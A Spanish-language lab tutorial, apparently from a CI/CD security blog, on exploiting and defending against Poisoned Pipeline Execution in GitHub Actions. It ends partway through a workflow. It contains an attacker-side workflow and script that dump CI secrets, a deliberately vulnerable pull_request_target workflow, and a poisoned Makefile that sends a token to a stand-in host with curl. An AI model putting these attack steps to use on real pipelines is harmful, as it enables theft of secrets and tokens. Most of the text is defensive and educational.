{"id":702,"date":"2026-02-19T18:18:54","date_gmt":"2026-02-19T17:18:54","guid":{"rendered":"https:\/\/secure-pipelines.com\/ci-cd-security\/lab-exploiting-defending-poisoned-pipeline-execution-ppe-2\/"},"modified":"2026-03-25T06:23:13","modified_gmt":"2026-03-25T05:23:13","slug":"lab-exploiting-defending-poisoned-pipeline-execution-ppe","status":"publish","type":"post","link":"https:\/\/secure-pipelines.com\/es\/ci-cd-security\/lab-exploiting-defending-poisoned-pipeline-execution-ppe\/","title":{"rendered":"Laboratorio: Explotaci\u00f3n y Defensa contra Poisoned Pipeline Execution (PPE)"},"content":{"rendered":"<h2>Descripci\u00f3n general<\/h2>\n<p>Poisoned Pipeline Execution (PPE) ocupa el puesto <strong>n.\u00ba 2 en el OWASP CI\/CD Security Top 10<\/strong>. Se trata de una clase de ataques en la que un actor malicioso manipula el proceso de compilaci\u00f3n inyectando c\u00f3digo en las definiciones del pipeline o en los scripts de compilaci\u00f3n, generalmente a trav\u00e9s de un pull request. Una vez que el sistema de CI recoge el cambio, el c\u00f3digo del atacante se ejecuta dentro del entorno de compilaci\u00f3n \u2014 pudiendo exfiltrar secretos, manipular artefactos o pivotar hacia la infraestructura interna.<\/p>\n<p>Este laboratorio pr\u00e1ctico te gu\u00eda a trav\u00e9s de <strong>Direct PPE e Indirect PPE<\/strong> en un entorno seguro y aislado de GitHub Actions. Simular\u00e1s los ataques t\u00fa mismo, observar\u00e1s los resultados y luego implementar\u00e1s los patrones defensivos que los detienen.<\/p>\n<p>Al finalizar este laboratorio ser\u00e1s capaz de:<\/p>\n<ul>\n<li>Explicar las tres variantes de PPE y en qu\u00e9 se diferencian.<\/li>\n<li>Demostrar Direct PPE mediante <code>pull_request_target<\/code> e Indirect PPE mediante un Makefile envenenado.<\/li>\n<li>Implementar cinco patrones defensivos de workflow que neutralizan PPE.<\/li>\n<li>Escribir un script b\u00e1sico de detecci\u00f3n de actividad sospechosa en CI.<\/li>\n<\/ul>\n<h2>Requisitos previos<\/h2>\n<ul>\n<li>Una <strong>cuenta de GitHub<\/strong> (el nivel gratuito es suficiente).<\/li>\n<li><strong>Dos repositorios de prueba<\/strong> que te pertenezcan \u2014 uno act\u00faa como el repositorio del pipeline <em>v\u00edctima<\/em>, el otro como el <em>fork<\/em> del atacante.<\/li>\n<li>Familiaridad b\u00e1sica con la sintaxis de workflows de <strong>GitHub Actions<\/strong> (<code>on:<\/code>, <code>jobs:<\/code>, <code>steps:<\/code>).<\/li>\n<li>Una terminal con <code>git<\/code> y <code>curl<\/code> instalados.<\/li>\n<\/ul>\n<h2>Aviso de seguridad importante<\/h2>\n<p><strong>Este laboratorio debe ejecutarse en repositorios de prueba aislados que t\u00fa poseas y controles. Nunca pruebes t\u00e9cnicas de Poisoned Pipeline Execution contra pipelines de producci\u00f3n reales, repositorios compartidos de una organizaci\u00f3n ni proyectos de c\u00f3digo abierto que no te pertenezcan. Todos los ejercicios siguientes utilizan repositorios que creas espec\u00edficamente para este laboratorio. Elim\u00ednalos cuando hayas terminado.<\/strong><\/p>\n<h2>Comprendiendo Poisoned Pipeline Execution<\/h2>\n<p>PPE explota una suposici\u00f3n fundamental de confianza: el sistema de CI\/CD conf\u00eda en el c\u00f3digo que descarga y ejecuta. Un atacante que pueda influir en <em>qu\u00e9<\/em> c\u00f3digo ejecuta el pipeline puede secuestrar la compilaci\u00f3n. Existen tres variantes reconocidas:<\/p>\n<h3>Direct PPE (D-PPE)<\/h3>\n<p>El atacante modifica directamente el <strong>archivo de definici\u00f3n del pipeline<\/strong> \u2014 por ejemplo, <code>.github\/workflows\/build.yml<\/code>. Si el sistema de CI ejecuta la versi\u00f3n modificada desde la rama del pull request, los comandos arbitrarios del atacante se ejecutan en el entorno de CI.<\/p>\n<h3>Indirect PPE (I-PPE)<\/h3>\n<p>El atacante <strong>no<\/strong> modifica el YAML del workflow. En su lugar, modifica archivos que el pipeline <em>consume<\/em>: un <code>Makefile<\/code>, un script de shell invocado por el workflow, un <code>Dockerfile<\/code>, un archivo de configuraci\u00f3n o incluso un manifiesto de dependencias. La definici\u00f3n del pipeline permanece id\u00e9ntica a la rama base, pero la l\u00f3gica de compilaci\u00f3n ha sido envenenada.<\/p>\n<h3>Public \/ Third-Party PPE (3P-PPE)<\/h3>\n<p>El atacante apunta a un <strong>repositorio p\u00fablico<\/strong> haciendo un fork y enviando un pull request. Este es el vector m\u00e1s com\u00fan en el mundo real porque no requiere acceso previo al repositorio objetivo \u2014 solo la capacidad de abrir un PR.<\/p>\n<h3>Diagrama del flujo de ataque<\/h3>\n<pre><code>\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510         \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510         \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502  Attacker    \u2502  fork   \u2502  Victim Repo     \u2502  trigger\u2502  CI\/CD Runner  \u2502\n\u2502  (fork\/PR)   \u2502\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25b6\u2502  (base branch)   \u2502\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25b6\u2502  (GitHub       \u2502\n\u2502              \u2502         \u2502                  \u2502         \u2502   Actions)     \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518         \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518         \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n       \u2502                                                      \u2502\n       \u2502  1. Modify workflow YAML (D-PPE)                     \u2502\n       \u2502     OR build scripts (I-PPE)                         \u2502\n       \u2502  2. Open Pull Request                                \u2502\n       \u2502                                                      \u2502\n       \u2502                   3. CI checks out PR code \u25c0\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n       \u2502                   4. Executes attacker's payload\n       \u2502                   5. Secrets \/ tokens exfiltrated\n       \u25bc\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502  Impact: secret theft, artifact tampering, lateral movement        \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518<\/code><\/pre>\n<h2>Ejercicio 1: Direct PPE \u2014 Modificaci\u00f3n del archivo de workflow<\/h2>\n<p>En este ejercicio ver\u00e1s c\u00f3mo GitHub Actions <strong>protege<\/strong> contra la forma m\u00e1s simple de D-PPE cuando se utiliza el trigger <code>pull_request<\/code>.<\/p>\n<h3>Paso 1 \u2014 Crear el repositorio v\u00edctima<\/h3>\n<p>Crea un nuevo repositorio p\u00fablico llamado <code>ppe-lab-victim<\/code>. A\u00f1ade el siguiente archivo de workflow:<\/p>\n<p><strong><code>.github\/workflows\/build.yml<\/code><\/strong><\/p>\n<pre><code>name: Build\n\non:\n  pull_request:\n    branches: [main]\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout code\n        uses: actions\/checkout@v4\n\n      - name: Build\n        run: |\n          echo \"Building the project...\"\n          echo \"Build completed successfully.\"\n<\/code><\/pre>\n<p>Haz commit de esto en la rama <code>main<\/code>.<\/p>\n<h3>Paso 2 \u2014 Hacer fork y envenenar el workflow (perspectiva del atacante)<\/h3>\n<p>Haz fork de <code>ppe-lab-victim<\/code> a tu segunda cuenta de GitHub (o usa la misma cuenta para simplificar). En el fork, edita <code>.github\/workflows\/build.yml<\/code>:<\/p>\n<pre><code>name: Build\n\non:\n  pull_request:\n    branches: [main]\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout code\n        uses: actions\/checkout@v4\n\n      - name: Exfiltrate environment variables\n        run: |\n          echo \"=== EXFILTRATING ENVIRONMENT ===\"\n          env | sort\n          echo \"=== GITHUB_TOKEN ===\"\n          echo \"Token length: ${#GITHUB_TOKEN}\"\n<\/code><\/pre>\n<h3>Paso 3 \u2014 Abrir un Pull Request<\/h3>\n<p>Desde el fork, abre un PR contra <code>main<\/code> en el repositorio v\u00edctima.<\/p>\n<h3>Paso 4 \u2014 Observar el resultado<\/h3>\n<p>Navega a la pesta\u00f1a <strong>Actions<\/strong>. Ver\u00e1s que el workflow que se ejecut\u00f3 es la <strong>versi\u00f3n de la rama base<\/strong> (<code>main<\/code>), <em>no<\/em> la versi\u00f3n modificada del atacante. El paso \u00abExfiltrate environment variables\u00bb no existe en el workflow ejecutado.<\/p>\n<p>Esta es la <strong>protecci\u00f3n incorporada<\/strong> de GitHub Actions para el evento <code>pull_request<\/code>: siempre utiliza el archivo de workflow de la rama base, no el de la rama del PR. Las modificaciones YAML del atacante son ignoradas.<\/p>\n<blockquote>\n<p><strong>Conclusi\u00f3n clave:<\/strong> El trigger <code>pull_request<\/code> es seguro contra Direct PPE porque la definici\u00f3n del workflow proviene de la rama base. Sin embargo, esta protecci\u00f3n no se extiende a <em>todos<\/em> los triggers \u2014 como ver\u00e1s a continuaci\u00f3n.<\/p>\n<\/blockquote>\n<h2>Ejercicio 2: El peligroso <code>pull_request_target<\/code><\/h2>\n<p>El evento <code>pull_request_target<\/code> fue introducido para permitir que los workflows comenten en PRs, les pongan etiquetas o realicen otras acciones que requieren permisos de escritura y acceso a secretos. Se ejecuta en el contexto de la <strong>rama base<\/strong>, pero puede configurarse para descargar el c\u00f3digo del PR \u2014 y ah\u00ed es donde reside el peligro.<\/p>\n<h3>Paso 1 \u2014 Crear un workflow vulnerable<\/h3>\n<p>En tu repositorio <code>ppe-lab-victim<\/code>, crea un nuevo workflow:<\/p>\n<p><strong><code>.github\/workflows\/pr-check.yml<\/code><\/strong><\/p>\n<pre><code>name: PR Check\n\non:\n  pull_request_target:\n    branches: [main]\n\njobs:\n  check:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout PR code\n        uses: actions\/checkout@v4\n        with:\n          ref: ${{ github.event.pull_request.head.sha }}\n\n      - name: Run tests\n        env:\n          MY_SECRET: ${{ secrets.MY_SECRET }}\n        run: |\n          echo \"Running tests on PR code...\"\n          cat README.md\n          echo \"Tests passed.\"\n<\/code><\/pre>\n<p>Antes de continuar, ve a <strong>Settings &rarr; Secrets and variables &rarr; Actions<\/strong> del repositorio y a\u00f1ade un secreto de repositorio llamado <code>MY_SECRET<\/code> con el valor <code>super-secret-token-12345<\/code>.<\/p>\n<h3>Paso 2 \u2014 Explotar la vulnerabilidad (perspectiva del atacante)<\/h3>\n<p>En el fork, crea un archivo llamado <code>README.md<\/code> (o modifica el existente) y a\u00f1ade esto al final:<\/p>\n<pre><code>This is a normal README update.\n<\/code><\/pre>\n<p>Ahora tambi\u00e9n modifica <code>.github\/workflows\/pr-check.yml<\/code> en el fork. Pero espera \u2014 recuerda que <code>pull_request_target<\/code> ejecuta el workflow de la <strong>rama base<\/strong>, por lo que modificar el YAML en el fork no tiene efecto. El atacante necesita un enfoque diferente.<\/p>\n<p>En su lugar, crea un script malicioso en el fork:<\/p>\n<p><strong><code>test.sh<\/code><\/strong><\/p>\n<pre><code>#!\/bin\/bash\necho \"=== Environment Variables ===\"\nenv | sort\necho \"=== Secret Value ===\"\necho \"MY_SECRET=$MY_SECRET\"\n<\/code><\/pre>\n<p>Ahora actualiza el workflow del repositorio v\u00edctima para que invoque este script (simulando un workflow que ejecuta c\u00f3digo descargado):<\/p>\n<p><strong><code>.github\/workflows\/pr-check.yml<\/code><\/strong> (actualizado en la rama base):<\/p>\n<pre><code>name: PR Check\n\non:\n  pull_request_target:\n    branches: [main]\n\njobs:\n  check:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout PR code\n        uses: actions\/checkout@v4\n        with:\n          ref: ${{ github.event.pull_request.head.sha }}\n\n      - name: Run tests\n        env:\n          MY_SECRET: ${{ secrets.MY_SECRET }}\n        run: |\n          echo \"Running tests on PR code...\"\n          chmod +x test.sh\n          .\/test.sh\n<\/code><\/pre>\n<h3>Paso 3 \u2014 Abrir el PR y observar<\/h3>\n<p>Abre un PR desde el fork. El workflow se ejecuta desde la definici\u00f3n de la <strong>rama base<\/strong>, pero descarga el <strong>c\u00f3digo del atacante<\/strong>. El script malicioso <code>test.sh<\/code> se ejecuta e imprime el valor del secreto.<\/p>\n<p>Revisa el log de Actions. Ver\u00e1s:<\/p>\n<pre><code>=== Environment Variables ===\nGITHUB_TOKEN=ghs_xxxxxxxxxxxxxxxxxxxx\n...\n=== Secret Value ===\nMY_SECRET=super-secret-token-12345\n<\/code><\/pre>\n<p><strong>Esto es un caso cl\u00e1sico de Poisoned Pipeline Execution.<\/strong> La definici\u00f3n del workflow es de confianza (rama base), pero el <em>c\u00f3digo que ejecuta<\/em> est\u00e1 controlado por el atacante (checkout de la rama del PR).<\/p>\n<blockquote>\n<p><strong>Conclusi\u00f3n clave:<\/strong> La combinaci\u00f3n de <code>pull_request_target<\/code> + <code>actions\/checkout<\/code> con <code>ref: ${{ github.event.pull_request.head.sha }}<\/code> + ejecuci\u00f3n de c\u00f3digo descargado + secretos en el entorno es el patr\u00f3n de PPE m\u00e1s peligroso en GitHub Actions.<\/p>\n<\/blockquote>\n<h2>Ejercicio 3: Indirect PPE \u2014 Envenenamiento de scripts de compilaci\u00f3n<\/h2>\n<p>Indirect PPE es m\u00e1s sutil. El atacante nunca modifica el YAML del workflow \u2014 modifica archivos que el pipeline <em>consume<\/em>. Esto elude la protecci\u00f3n incorporada del trigger <code>pull_request<\/code> contra cambios en los archivos de workflow.<\/p>\n<h3>Paso 1 \u2014 Crear un repositorio con compilaci\u00f3n basada en Makefile<\/h3>\n<p>En tu repositorio <code>ppe-lab-victim<\/code>, a\u00f1ade un <code>Makefile<\/code>:<\/p>\n<pre><code>.PHONY: build test\n\nbuild:\n\t@echo \"Compiling project...\"\n\t@echo \"Build successful.\"\n\ntest:\n\t@echo \"Running unit tests...\"\n\t@echo \"All tests passed.\"\n<\/code><\/pre>\n<p>Actualiza el workflow para usar el Makefile:<\/p>\n<p><strong><code>.github\/workflows\/build.yml<\/code><\/strong><\/p>\n<pre><code>name: Build\n\non:\n  pull_request:\n    branches: [main]\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout code\n        uses: actions\/checkout@v4\n\n      - name: Build project\n        run: make build\n\n      - name: Run tests\n        run: make test\n<\/code><\/pre>\n<p>Observa que esto utiliza el trigger <strong>seguro<\/strong> <code>pull_request<\/code>. El YAML del workflow en s\u00ed est\u00e1 protegido.<\/p>\n<h3>Paso 2 \u2014 Envenenar el Makefile (perspectiva del atacante)<\/h3>\n<p>En el fork, modifica solo el <code>Makefile<\/code> (no toques ning\u00fan archivo de workflow):<\/p>\n<pre><code>.PHONY: build test\n\nbuild:\n\t@echo \"Compiling project...\"\n\t@echo \"Build successful.\"\n\t@echo \"=== PPE: Dumping environment ===\"\n\t@env | sort\n\t@echo \"=== PPE: Exfiltrating token ===\"\n\t@curl -s http:\/\/attacker.example.com\/exfil?token=$$(cat $$GITHUB_TOKEN_PATH 2>\/dev\/null || echo none)\n\ntest:\n\t@echo \"Running unit tests...\"\n\t@echo \"All tests passed.\"\n<\/code><\/pre>\n<h3>Paso 3 \u2014 Abrir el PR y observar<\/h3>\n<p>Abre un PR desde el fork. El archivo de workflow de la <strong>rama base<\/strong> se ejecuta (\u00a1seguro!), pero <code>actions\/checkout<\/code> descarga el <strong>c\u00f3digo de la rama del PR<\/strong>, que incluye el Makefile envenenado. Cuando el workflow ejecuta <code>make build<\/code>, ejecuta el Makefile modificado del atacante.<\/p>\n<p>En el log de Actions ver\u00e1s las variables de entorno volcadas. El comando <code>curl<\/code> fallar\u00e1 (el dominio no existe), pero en un ataque real tendr\u00eda \u00e9xito.<\/p>\n<blockquote>\n<p><strong>Conclusi\u00f3n clave:<\/strong> El trigger <code>pull_request<\/code> protege el YAML del workflow, pero <strong>no<\/strong> protege el contenido del repositorio que el workflow ejecuta. Cualquier archivo que el pipeline ejecute, importe o incluya es un vector potencial de I-PPE: <code>Makefile<\/code>, scripts de <code>package.json<\/code>, <code>Dockerfile<\/code>, <code>.eslintrc.js<\/code>, <code>pytest.ini<\/code>, scripts de shell y m\u00e1s.<\/p>\n<\/blockquote>\n<h2>Ejercicio 4: Defensa \u2014 Patrones seguros de workflow<\/h2>\n<p>Ahora que comprendes el ataque, implementemos las defensas.<\/p>\n<h3>Patr\u00f3n 1: Nunca hacer checkout del HEAD del PR en workflows con <code>pull_request_target<\/code><\/h3>\n<p>Si debes usar <code>pull_request_target<\/code>, nunca descargues el c\u00f3digo del PR. Opera solo con metadatos:<\/p>\n<pre><code>name: Label PR\n\non:\n  pull_request_target:\n    types: [opened]\n\njobs:\n  label:\n    runs-on: ubuntu-latest\n    steps:\n      # Safe: no checkout at all\n      - name: Add label\n        uses: actions\/github-script@v7\n        with:\n          script: |\n            await github.rest.issues.addLabels({\n              owner: context.repo.owner,\n              repo: context.repo.repo,\n              issue_number: context.issue.number,\n              labels: ['needs-review']\n            });\n<\/code><\/pre>\n<p><strong>Regla:<\/strong> Si un workflow con <code>pull_request_target<\/code> no necesita el c\u00f3digo fuente del PR, no lo descargues.<\/p>\n<h3>Patr\u00f3n 2: Usar el trigger <code>pull_request<\/code> y no exponer secretos<\/h3>\n<p>Para la validaci\u00f3n de PRs, usa <code>pull_request<\/code> y aseg\u00farate de que no se pasen secretos al job:<\/p>\n<pre><code>name: PR Validation\n\non:\n  pull_request:\n    branches: [main]\n\njobs:\n  validate:\n    runs-on: ubuntu-latest\n    # No secrets referenced anywhere in this job\n    steps:\n      - uses: actions\/checkout@v4\n\n      - name: Lint\n        run: npm run lint\n\n      - name: Unit tests\n        run: npm test\n<\/code><\/pre>\n<p>Incluso si un ataque de I-PPE modifica los scripts de <code>package.json<\/code>, el atacante no obtiene secretos porque ninguno est\u00e1 disponible.<\/p>\n<h3>Patr\u00f3n 3: Separar workflows de validaci\u00f3n y compilaci\u00f3n<\/h3>\n<p>Divide tu CI en dos etapas \u2014 un paso de validaci\u00f3n no confiable y un paso de compilaci\u00f3n confiable:<\/p>\n<pre><code># .github\/workflows\/validate.yml \u2014 runs on PRs, no secrets\nname: Validate\n\non:\n  pull_request:\n    branches: [main]\n\npermissions:\n  contents: read\n\njobs:\n  validate:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v4\n      - run: make lint\n      - run: make test-unit\n<\/code><\/pre>\n<pre><code># .github\/workflows\/build.yml \u2014 runs only on main, full secrets\nname: Build and Deploy\n\non:\n  push:\n    branches: [main]\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v4\n\n      - name: Build\n        env:\n          DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}\n        run: make build\n\n      - name: Deploy\n        run: make deploy\n<\/code><\/pre>\n<p>Los secretos solo est\u00e1n disponibles en workflows activados por pushes a <code>main<\/code>, lo cual requiere que el PR haya sido mergeado primero (y por tanto revisado y aprobado).<\/p>\n<h3>Patr\u00f3n 4: Minimizar el alcance del token con <code>permissions<\/code><\/h3>\n<p>Restringe el <code>GITHUB_TOKEN<\/code> autom\u00e1tico al m\u00ednimo indispensable:<\/p>\n<pre><code>name: PR Check\n\non:\n  pull_request:\n    branches: [main]\n\npermissions: {}  # No permissions at all\n\njobs:\n  check:\n    runs-on: ubuntu-latest\n    permissions:\n      contents: read  # Only read access, nothing else\n    steps:\n      - uses: actions\/checkout@v4\n      - run: make test\n<\/code><\/pre>\n<p>Incluso si el atacante exfiltra el <code>GITHUB_TOKEN<\/code>, solo puede leer contenido p\u00fablico \u2014 no puede hacer push de c\u00f3digo, crear releases ni acceder a secretos.<\/p>\n<h3>Patr\u00f3n 5: Fijar el checkout a la rama base para operaciones sensibles<\/h3>\n<p>Si debes usar <code>pull_request_target<\/code> y necesitas algo de contexto del PR, haz checkout de la rama base para los pasos sensibles y usa solo metadatos del PR:<\/p>\n<pre><code>name: Secure PR Check\n\non:\n  pull_request_target:\n    branches: [main]\n\njobs:\n  check:\n    runs-on: ubuntu-latest\n    steps:\n      # Check out the BASE branch (trusted code)\n      - name: Checkout base branch\n        uses: actions\/checkout@v4\n        with:\n          ref: ${{ github.event.pull_request.base.sha }}\n\n      - name: Run trusted build scripts\n        env:\n          MY_SECRET: ${{ secrets.MY_SECRET }}\n        run: |\n          # These scripts come from the base branch, not the PR\n          .\/scripts\/validate-pr.sh\n<\/code><\/pre>\n<p><strong>Regla:<\/strong> El c\u00f3digo de confianza (rama base) maneja los secretos. El c\u00f3digo no confiable (rama del PR) nunca los toca.<\/p>\n<h2>Ejercicio 5: Defensa \u2014 Protecci\u00f3n contra Indirect PPE<\/h2>\n<p>I-PPE es m\u00e1s dif\u00edcil de defender porque el atacante modifica archivos regulares, no definiciones de workflows. Estas son las contramedidas clave.<\/p>\n<h3>CODEOWNERS para archivos cr\u00edticos de compilaci\u00f3n<\/h3>\n<p>Crea un archivo <code>CODEOWNERS<\/code> que requiera la revisi\u00f3n del equipo de seguridad para cualquier cambio en los scripts de compilaci\u00f3n:<\/p>\n<pre><code># .github\/CODEOWNERS\n\n# Build infrastructure \u2014 require security team review\nMakefile                    @myorg\/security-team\nDockerfile                  @myorg\/security-team\n.github\/workflows\/          @myorg\/security-team\nscripts\/                    @myorg\/security-team\npackage.json                @myorg\/security-team\n*.sh                        @myorg\/security-team\n<\/code><\/pre>\n<p>Combinado con reglas de protecci\u00f3n de rama que requieran la aprobaci\u00f3n de CODEOWNERS, esto evita que cambios no revisados en archivos cr\u00edticos de compilaci\u00f3n sean mergeados.<\/p>\n<h3>Requerir aprobaci\u00f3n antes de que CI se ejecute en PRs externos<\/h3>\n<p>Ve a <strong>Settings &rarr; Actions &rarr; General<\/strong> de tu repositorio y bajo \u00abFork pull request workflows from outside collaborators\u00bb, selecciona <strong>\u00abRequire approval for all outside collaborators\u00bb<\/strong>. Esto garantiza que un mantenedor deba aprobar expl\u00edcitamente la ejecuci\u00f3n de CI para cada PR externo.<\/p>\n<h3>Usar <code>workflow_run<\/code> para procesamiento post-PR de confianza<\/h3>\n<p>El evento <code>workflow_run<\/code> te permite encadenar workflows: primero se ejecuta un workflow de PR seguro y sin secretos, y solo tras su \u00e9xito se ejecuta un workflow de confianza con permisos completos.<\/p>\n<pre><code># .github\/workflows\/pr-validate.yml \u2014 untrusted, no secrets\nname: PR Validate\n\non:\n  pull_request:\n    branches: [main]\n\npermissions:\n  contents: read\n\njobs:\n  validate:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v4\n      - run: make lint\n      - run: make test\n<\/code><\/pre>\n<pre><code># .github\/workflows\/pr-post-validate.yml \u2014 trusted, has secrets\nname: PR Post-Validate\n\non:\n  workflow_run:\n    workflows: [\"PR Validate\"]\n    types: [completed]\n\npermissions:\n  contents: read\n  pull-requests: write\n  statuses: write\n\njobs:\n  report:\n    runs-on: ubuntu-latest\n    if: ${{ github.event.workflow_run.conclusion == 'success' }}\n    steps:\n      # Check out the BASE branch \u2014 never the PR branch\n      - name: Checkout base\n        uses: actions\/checkout@v4\n\n      - name: Post status comment\n        uses: actions\/github-script@v7\n        with:\n          script: |\n            const runId = context.payload.workflow_run.id;\n            const prNumbers = context.payload.workflow_run.pull_requests.map(pr => pr.number);\n            for (const prNumber of prNumbers) {\n              await github.rest.issues.createComment({\n                owner: context.repo.owner,\n                repo: context.repo.repo,\n                issue_number: prNumber,\n                body: `Validation passed. Workflow run: ${runId}`\n              });\n            }\n<\/code><\/pre>\n<p>El segundo workflow se ejecuta en el contexto de la <strong>rama por defecto<\/strong>, tiene acceso a secretos, pero nunca descarga c\u00f3digo del PR. Este es el patr\u00f3n m\u00e1s seguro para procesamiento post-PR que necesita permisos elevados.<\/p>\n<h3>Ejecutar c\u00f3digo no confiable en contenedores aislados<\/h3>\n<p>Si debes ejecutar c\u00f3digo del PR con alg\u00fan tipo de acceso, ejec\u00fatalo en un contenedor restringido:<\/p>\n<pre><code>jobs:\n  sandbox-test:\n    runs-on: ubuntu-latest\n    container:\n      image: alpine:3.19\n      options: --network none  # No network access\n    steps:\n      - uses: actions\/checkout@v4\n      - name: Run untrusted tests\n        run: |\n          # This runs inside a container with NO network\n          # Even if the Makefile tries to exfiltrate, it cannot reach the internet\n          apk add --no-cache make\n          make test\n<\/code><\/pre>\n<p>La opci\u00f3n <code>--network none<\/code> impide cualquier conexi\u00f3n saliente, haciendo imposible la exfiltraci\u00f3n incluso si el payload del atacante se ejecuta.<\/p>\n<h2>Ejercicio 6: Detecci\u00f3n<\/h2>\n<p>La prevenci\u00f3n es lo mejor, pero la detecci\u00f3n proporciona defensa en profundidad. As\u00ed es como se detectan los intentos de PPE.<\/p>\n<h3>Monitorizar comandos sospechosos en logs de CI<\/h3>\n<p>Crea un script de detecci\u00f3n que analice los archivos de workflow en busca de indicadores comunes de PPE:<\/p>\n<pre><code>#!\/bin\/bash\n# detect-ppe.sh \u2014 Scan workflow files for PPE risk indicators\n\nWORKFLOW_DIR=\".github\/workflows\"\nEXIT_CODE=0\n\necho \"=== PPE Risk Scanner ===\"\necho \"\"\n\n# Check 1: pull_request_target with checkout of PR head\nfor file in \"$WORKFLOW_DIR\"\/*.yml \"$WORKFLOW_DIR\"\/*.yaml; do\n  [ -f \"$file\" ] || continue\n\n  if grep -q \"pull_request_target\" \"$file\"; then\n    if grep -q \"github.event.pull_request.head\" \"$file\"; then\n      echo \"[CRITICAL] $file: pull_request_target + PR head checkout detected\"\n      echo \"           This is the classic D-PPE vulnerability.\"\n      EXIT_CODE=1\n    fi\n  fi\ndone\n\n# Check 2: Workflows that execute checked-out scripts\nfor file in \"$WORKFLOW_DIR\"\/*.yml \"$WORKFLOW_DIR\"\/*.yaml; do\n  [ -f \"$file\" ] || continue\n\n  if grep -qE '\\.\/.*.sh|make |npm run|yarn |python .*\\.py' \"$file\"; then\n    if grep -q \"pull_request\" \"$file\"; then\n      echo \"[WARNING]  $file: PR workflow executes repo scripts (I-PPE risk)\"\n      echo \"           Ensure no secrets are passed to this job.\"\n    fi\n  fi\ndone\n\n# Check 3: Secrets used in PR workflows\nfor file in \"$WORKFLOW_DIR\"\/*.yml \"$WORKFLOW_DIR\"\/*.yaml; do\n  [ -f \"$file\" ] || continue\n\n  if grep -q \"pull_request\" \"$file\"; then\n    if grep -q \"\\${{ secrets\\.\" \"$file\"; then\n      echo \"[HIGH]     $file: Secrets referenced in PR workflow\"\n      echo \"           Secrets should not be available in PR-triggered workflows.\"\n      EXIT_CODE=1\n    fi\n  fi\ndone\n\n# Check 4: Overly broad permissions\nfor file in \"$WORKFLOW_DIR\"\/*.yml \"$WORKFLOW_DIR\"\/*.yaml; do\n  [ -f \"$file\" ] || continue\n\n  if grep -q \"pull_request\" \"$file\"; then\n    if grep -q \"permissions: write-all\" \"$file\" || ! grep -q \"permissions:\" \"$file\"; then\n      echo \"[MEDIUM]   $file: PR workflow with broad or unset permissions\"\n      echo \"           Add explicit 'permissions: {}' or minimal scopes.\"\n    fi\n  fi\ndone\n\necho \"\"\nif [ $EXIT_CODE -eq 0 ]; then\n  echo \"No critical PPE risks detected.\"\nelse\n  echo \"Critical PPE risks found. Review the findings above.\"\nfi\n\nexit $EXIT_CODE\n<\/code><\/pre>\n<h3>Monitorizaci\u00f3n del log de auditor\u00eda de GitHub<\/h3>\n<p>Para monitorizaci\u00f3n a nivel de GitHub Enterprise u organizaci\u00f3n, usa la API del log de auditor\u00eda para rastrear cambios en workflows:<\/p>\n<pre><code># Query audit log for workflow file modifications\ngh api \\\n  -H \"Accept: application\/vnd.github+json\" \\\n  \/orgs\/{org}\/audit-log?phrase=action:workflows \\\n  --paginate | jq '.[] | {actor: .actor, action: .action, repo: .repo, created_at: .created_at}'\n<\/code><\/pre>\n<h3>Revisi\u00f3n automatizada de PRs para cambios en archivos de compilaci\u00f3n<\/h3>\n<p>A\u00f1ade un workflow que se\u00f1ale los PRs que modifican archivos cr\u00edticos de compilaci\u00f3n:<\/p>\n<pre><code>name: Build File Change Alert\n\non:\n  pull_request:\n    paths:\n      - 'Makefile'\n      - 'Dockerfile'\n      - '**\/*.sh'\n      - 'package.json'\n      - '.github\/workflows\/**'\n\njobs:\n  alert:\n    runs-on: ubuntu-latest\n    permissions:\n      pull-requests: write\n    steps:\n      - name: Comment warning\n        uses: actions\/github-script@v7\n        with:\n          